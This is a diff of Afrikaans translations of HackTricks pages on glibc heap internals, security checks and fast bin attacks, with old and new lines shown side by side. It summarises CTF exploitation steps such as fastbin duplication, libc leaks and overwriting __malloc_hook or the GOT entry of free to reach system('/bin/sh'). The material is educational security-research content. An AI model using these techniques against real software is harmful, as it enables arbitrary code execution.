* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Vinnige Binne-Aanval
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
@ -134,45 +135,46 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
}
```
{% hint style="danger" %}
As dit moontlik is om die waarde van die globale veranderlike **`global_max_fast`** te oorskryf met 'n groot getal, maak dit dit moontlik om vinnige bin stukke van groter groottes te genereer, wat moontlik kan lei tot die uitvoer van vinnige bin aanvalle in scenario's waar dit voorheen nie moontlik was nie. Hierdie situasie is nuttig in die konteks van [groot bin aanval](large-bin-attack.md) en [ongesorteerde bin aanval](unsorted-bin-attack.md).
Indien dit moontlik is om die waarde van die globale veranderlike **`global_max_fast`** met 'n groot getal te oorskryf, maak dit dit moontlik om vinnige bin stukke van groter groottes te genereer, wat moontlik kan wees om vinnige bin aanvalle uit te voer in scenario's waar dit voorheen nie moontlik was nie. Hierdie situasie is nuttig in die konteks van [groot bin aanval](large-bin-attack.md) en [ongesorteerde bin aanval](unsorted-bin-attack.md).
{% endhint %}
## Voorbeelde
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:**
* Dit is moontlik om stukke toe te ken, hulle vry te stel, hul inhoud te lees en hulle te vul (met 'n oorvloei kwesbaarheid).
* **Konsolideer stuk vir inligtingslek**: Die tegniek is basies om die oorvloei te misbruik om 'n vals `prev_size` te skep sodat een vorige stuk binne 'n groter een geplaas word, sodat wanneer die groter een wat 'n ander stuk bevat, toegeken word, dit moontlik is om sy data af te druk en 'n adres na libc te lek (`main_arena+88`).
* **Oorskryf malloc haak**: Hiervoor, en deur die vorige oorvleuelende situasie te misbruik, was dit moontlik om 2 stukke te hê wat na dieselfde geheue verwys het. Daarom, deur hulle albei vry te stel (deur nog 'n stuk tussenin vry te stel om beskerming te vermy), was dit moontlik om dieselfde stuk in die vinnige bin 2 keer te hê. Daarna was dit moontlik om dit weer toe te ken, die adres na die volgende stuk oor te skryf om 'n bietjie voor `__malloc_hook` te wys (sodat dit na 'n heelgetal wys wat malloc dink is 'n vry grootte - nog 'n omweg), dit weer toe te ken en dan 'n ander stuk toe te ken wat 'n adres na malloc haakse sal ontvang.\
* **Konsolideer stuk vir inligtingslek**: Die tegniek is basies om die oorvloei te misbruik om 'n vals `prev_size` te skep sodat een vorige stuk binne 'n groter een geplaas word, sodat wanneer die groter een wat 'n ander stuk bevat, toegeken word, dit moontlik is om sy data af te druk en 'n adres na libc (`main_arena+88`) te lek.
* **Oorskryf malloc haak**: Hiervoor, en deur die vorige oorvleuelende situasie te misbruik, was dit moontlik om 2 stukke te hê wat na dieselfde geheue verwys het. Daarom, deur hulle albei vry te stel (deur nog 'n stuk tussenin vry te stel om beskermings te vermy), was dit moontlik om dieselfde stuk in die vinnige bin 2 keer te hê. Daarna was dit moontlik om dit weer toe te ken, die adres na die volgende stuk oor te skryf om 'n bietjie voor `__malloc_hook` te wys (sodat dit na 'n heelgetal wys wat malloc dink is 'n vry grootte - nog 'n omweg), dit weer toe te ken en dan 'n ander stuk toe te ken wat 'n adres na malloc haak ontvang.\
Uiteindelik is 'n **eenhulpmiddel** daar geskryf.
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:**
* Daar is 'n geheue oorvloei en gebruik na vry en dubbel vry omdat wanneer 'n stuk vrygestel word, dit moontlik is om die aanwysers her te gebruik en weer vry te stel
* **Libc inligtingslek**: Vry net 'n paar stukke en hulle sal 'n aanwyser na 'n deel van die hoofarena-plek kry. Aangesien jy vrygestelde aanwysers kan hergebruik, lees net hierdie adres.
* **Vinnige bin aanval**: Al die aanwysers na die toekennings word binne 'n reeks gestoor, sodat ons 'n paar vinnige bin stukke kan vry en in die laaste een die adres kan oorskryf om 'n bietjie voor hierdie reeks van aanwysers te wys. Toe, ken 'n paar stukke toe met dieselfde grootte en ons sal eers die regte een kry en dan die vals een wat die reeks van aanwysers bevat. Ons kan nou hierdie toekenningsaanwysers oorskryf om die GOT-adres van `free` te maak om na `system` te wys en dan `"/bin/sh"` in stuk 1 te skryf om dan `free(chunk1)` te roep wat in plaas daarvan `system("/bin/sh")` sal uitvoer.
* **Vinnige bin aanval**: Al die aanwysers na die toekennings word binne 'n reeks gestoor, sodat ons 'n paar vinnige bin stukke kan vry en in die laaste een die adres kan oorskryf om 'n bietjie voor hierdie reeks van aanwysers te wys. Toe, ken 'n paar stukke toe met dieselfde grootte en ons sal eers die regte een kry en dan die vals een wat die reeks van aanwysers bevat. Ons kan nou hierdie toekenningsaanwysers oorskryf om die GOT-adres van `free` te maak wat na `system` wys en dan `"/bin/sh"` in stuk 1 skryf om dan `free(chunk1)` te roep wat in plaas daarvan `system("/bin/sh")` sal uitvoer.
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
* 'n Ander voorbeeld van die misbruik van 'n een byte oorvloei om stukke in die ongesorteerde bin te konsolideer en 'n libc inligtingslek te kry en dan 'n vinnige bin aanval uit te voer om malloc haak met 'n eenhulpmiddeladres te oorskryf
* 'n Ander voorbeeld van die misbruik van 'n een byte oorvloei om stukke in die ongesorteerde bin te konsolideer en 'n libc inligtingslek te kry en dan 'n vinnige bin aanval uit te voer om malloc haak met 'n eenhulpmiddeladres oor te skryf
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html)
* Na 'n inligtingslek wat die ongesorteerde bin met 'n UAF misbruik om 'n libc-adres en 'n PIE-adres te lek, het die uitbuiting van hierdie CTF 'n vinnige bin aanval gebruik om 'n stuk toe te ken op 'n plek waar die aanwysers na beheerde stukke geleë was sodat dit moontlik was om sekere aanwysers te oorskryf om 'n eenhulpmiddel in die GOT te skryf
* Jy kan 'n Vinnige Bin-aanval vind wat misbruik word deur 'n ongesorteerde bin-aanval:
* Na 'n inligtingslek wat die ongesorteerde bin met 'n UAF misbruik om 'n libc-adres en 'n PIE-adres te lek, het die uitbuiting van hierdie CTF 'n vinnige bin aanval gebruik om 'n stuk toe te ken op 'n plek waar die aanwysers na beheerde stukke geleë was sodat dit moontlik was om sekere aanwysers oor te skryf om 'n eenhulpmiddel in die GOT te skryf
* Jy kan 'n Vinnige Bin aanval vind wat misbruik word deur 'n ongesorteerde bin aanval:
* Let daarop dat dit algemeen is voordat vinnige bin aanvalle uitgevoer word om die vrylys te misbruik om libc/geheue-adresse te lek (indien nodig).
* [**Robotfabriek. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
* Ons kan slegs stukke van groottes groter as `0x100` toeken.
* Oorskryf `global_max_fast` deur 'n Ongesorteerde Bin-aanval te gebruik (werk 1/16 keer as gevolg van ASLR, omdat ons 12 bietjies moet wysig, maar ons moet 16 bietjies wysig).
* Vinnige Bin-aanval om die globale reeks van stukke te wysig. Dit gee 'n arbitrêre lees-/skryfprimitief, wat dit moontlik maak om die GOT te wysig en sommige funksies te laat wys na `system`.
* Oorskryf `global_max_fast` deur 'n Ongesorteerde Bin aanval te gebruik (werk 1/16 keer as gevolg van ASLR, omdat ons 12 bietjies moet wysig, maar ons moet 16 bietjies wysig).
* Vinnige Bin aanval om die globale reeks van stukke te wysig. Dit gee 'n arbitrêre lees/skryf-beginsel, wat dit moontlik maak om die GOT te wysig en sommige funksies te laat wys na `system`.
{% content-ref url="unsorted-bin-attack.md" %}
[unsorted-bin-attack.md](unsorted-bin-attack.md)
{% endcontent-ref %}
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,17 +1,18 @@
# Heap Geheuefunksies
# Heap-geheuefunksies
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
##

View file

@ -1,37 +1,38 @@
# vry
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Vry Bestellingsopsomming <a href="#libc_free" id="libc_free"></a>
(Geen kontroles word in hierdie opsomming verduidelik en sommige gevalle is weggelaat vir bondigheid)
1. As die adres nul is, doen niks nie
2. As die blokkie gemap is, maak dit ongemap en voltooi
1. As die adres nul is, moet niks gedoen word nie
2. As die blokkie gemap is, moet dit ontmap word en klaarmaak
3. Roep `_int_free` aan:
1. Voeg die blokkie by die tcache as moontlik
2. Voeg die blokkie by die vinnige bin as moontlik
1. Voeg die blokkie indien moontlik by die tcache
2. Voeg die blokkie indien moontlik by die vinnige bin
3. Roep `_int_free_merge_chunk` aan om die blokkie te konsolideer indien nodig en voeg dit by die ongesorteerde lys
## \_\_libc\_free <a href="#libc_free" id="libc_free"></a>
`Free` roep `__libc_free` aan.
`Vry` roep `__libc_free` aan.
* As die adres wat deurgegee word Nul (0) is, doen niks nie.
* Kontroleer die aanwysertiket
* As die blokkie `gemap` is, maak dit ongemap en dis alles
* As die adres wat deurgegee word Nul (0) is, moet niks gedoen word nie.
* Kontroleer aanwysertiket
* As die blokkie `gemap` is, moet dit `ontmap` word en dis alles
* Indien nie, voeg die kleur by en roep `_int_free` daaroor aan
<details>
@ -131,17 +132,13 @@ check_inuse_chunk(av, p);
### \_int\_free tcache <a href="#int_free" id="int_free"></a>
Dit sal eerste probeer om hierdie blok in die betrokke tcache toe te ken. Daar word egter voorafgaande kontroles uitgevoer. Dit sal deurloop al die blokke van die tcache in dieselfde indeks as die vrygestelde blok en:
Dit sal eerste probeer om hierdie blok toe te wijs in die betrokke tcache. Daar word egter voorafgaande kontroles uitgevoer. Dit sal deurloop deur al die blokke van die tcache in dieselfde indeks as die vrygestelde blok en:
* As daar meer inskrywings as `mp_.tcache_count` is: `free(): te veel blokke opgespoor in tcache`
* As daar meer inskrywings is as `mp_.tcache_count`: `free(): te veel blokke opgespoor in tcache`
* As die inskrywing nie belyn is nie: `free(): ongealigneerde blok opgespoor in tcache 2`
* as die vrygestelde blok reeds vrygestel is en teenwoordig is as blok in die tcache: `free(): dubbele vrystelling opgespoor in tcache 2`
As alles goed verloop, word die blok by die tcache gevoeg en die funksies keer terug.
<details>
<summary>_int_free tcache</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
#if USE_TCACHE
@ -191,11 +188,15 @@ return;
Begin deur te kontroleer of die grootte geskik is vir 'n vinnige bin en kyk of dit moontlik is om dit naby die boonste brokkie te stel.
Voeg dan die vrygemaakte brokkie by die boonste van die vinnige bin terwyl daar 'n paar kontroles uitgevoer word:
Voeg dan die vrygemaakte brokkie by die boonste van die vinnige bin terwyl jy 'n paar kontroles uitvoer:
- As die grootte van die brokkie ongeldig is (te groot of te klein) veroorsaak dit: `free(): ongeldige volgende grootte (vinnig)`
- As die bygevoegde brokkie reeds die boonste van die vinnige bin was: `dubbele vry of korrupsie (vinnigtop)`
- As die grootte van die brokkie bo aan 'n verskillende grootte het as die brokkie wat ons byvoeg: `ongeldige vinnige bin inskrywing (vry)`
* As die grootte van die brokkie ongeldig is (te groot of te klein) trigger: `free(): invalid next size (fast)`
* As die bygevoegde brokkie reeds die boonste van die vinnige bin was: `double free or corruption (fasttop)`
* As die grootte van die brokkie bo aan 'n verskillende grootte het as die brokkie wat ons byvoeg: `invalid fastbin entry (free)`
<details>
<summary>_int_free Vinnige Bin</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
@ -278,7 +279,7 @@ malloc_printerr ("invalid fastbin entry (free)");
```
### \_int\_free finale <a href="#int_free" id="int_free"></a>
Indien die blok nog nie toegewys is aan enige houer nie, roep `_int_free_merge_chunk` aan.
Indien die blok nog nie toegewys is aan enige bak nie, roep `_int_free_merge_chunk` aan.
<details>
@ -321,7 +322,7 @@ Sekere kontroles word uitgevoer:
* As die blok die boonste blok is: `double free or corruption (top)`
* As die volgende blok buite die grense van die arena is: `double free or corruption (out)`
* As die blok nie gemerk is as gebruik nie (in die `prev_inuse` van die volgende blok): `double free or corruption (!prev)`
* As die blok nie gemerk is as gebruik (in die `prev_inuse` van die volgende blok nie): `double free or corruption (!prev)`
* As die volgende blok 'n te klein of te groot grootte het: `free(): invalid next size (normal)`
* as die vorige blok nie in gebruik is nie, sal dit probeer konsolideer. Maar, as die prev\_size verskil van die grootte wat in die vorige blok aangedui word: `corrupted size vs. prev_size while consolidating`
@ -377,16 +378,17 @@ _int_free_maybe_consolidate (av, size);
```
</details>
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Heap Funksies Sekuriteitskontroles
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## unlink
@ -22,7 +23,7 @@ Vir meer inligting kyk:
[unlink.md](unlink.md)
{% endcontent-ref %}
Hierdie is 'n opsomming van die uitgevoerde kontroles:
Dit is 'n opsomming van die uitgevoerde kontroles:
* Kontroleer of die aangeduide grootte van die blok dieselfde is as die `prev_size` aangedui in die volgende blok
* Foutboodskap: `corrupted size vs. prev_size`
@ -52,9 +53,9 @@ Vir meer inligting kyk:
* As `victim->bk->fd != victim`:
* Foutboodskap: `malloc(): smallbin double linked list corrupted`
* **Kontroles tydens konsolidasie** uitgevoer vir elke vinnige bin-blok:&#x20;
* As die blok nie belyn is nie, trigger:
* As die blok nie belyn is nie, veroorsaak:
* Foutboodskap: `malloc_consolidate(): unaligned fastbin chunk detected`
* As die blok 'n ander grootte het as wat dit sou moes hê as gevolg van die indeks waarin dit is:
* As die blok 'n ander grootte het as die een wat dit behoort te hê as gevolg van die indeks waarin dit is:
* Foutboodskap: `malloc_consolidate(): invalid chunk size`
* As die vorige blok nie in gebruik is nie en die vorige blok 'n grootte het wat verskil van die een wat deur prev\_chunk aangedui word:
* Foutboodskap: `corrupted size vs. prev_size in fastbins`
@ -67,7 +68,7 @@ Vir meer inligting kyk:
* Foutboodskap: `malloc(): mismatching next->prev_size (unsorted)`
* As nie `victim->bck->fd == victim` of nie `victim->fd == av (arena)` nie:
* Foutboodskap: `malloc(): unsorted double linked list corrupted`
* Aangesien ons altyd die laaste een nagaan, behoort sy fd altyd na die arena struktuur te wys.
* Aangesien ons altyd die laaste een kontroleer, moet sy fd altyd na die arena struktuur wys.
* As die volgende blok nie aandui dat die vorige in gebruik is nie:
* Foutboodskap: `malloc(): invalid next->prev_inuse (unsorted)`
* As `fwd->bk_nextsize->fd_nextsize != fwd`:
@ -80,7 +81,7 @@ Vir meer inligting kyk:
* **Kontroles tydens groot bin (volgende groter) soektog:**
* `bck->fd-> bk != bck`:
* Foutboodskap: `malloc(): corrupted unsorted chunks2`
* **Kontroles tydens gebruik van Top blok:**
* **Kontroles tydens Top blok gebruik:**
* `chunksize(av->top) > av->system_mem`:
* Foutboodskap: `malloc(): corrupted top size`
@ -123,7 +124,7 @@ Vir meer inligting kyk:
* As die vrygemaakte blok reeds vrygemaak is en teenwoordig is as blok in die tcache:
* Foutboodskap: `free(): double free detected in tcache 2`
* **Kontroles in `_int_free` vinnige bin:**
* As die grootte van die blok ongeldig is (te groot of te klein) trigger:
* As die grootte van die blok ongeldig is (te groot of te klein) veroorsaak:
* Foutboodskap: `free(): invalid next size (fast)`
* As die bygevoegde blok reeds die boonste van die vinnige bin was:
* Foutboodskap: `double free or corruption (fasttop)`
@ -160,7 +161,7 @@ Vir meer inligting kyk:
* **Kontroles in `malloc_consolidate`:**
* As 'n verkeerd uitgelynede vinnige bin stuk:
* Foutboodskap: `malloc_consolidate(): unaligned fastbin chunk detected`
* As 'n ongeldige vinnige bin stuk grootte:
* As die verkeerde vinnige bin stuk grootte:
* Foutboodskap: `malloc_consolidate(): invalid chunk size`
## `_int_realloc`

View file

@ -1,49 +1,50 @@
# malloc & sysmalloc
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
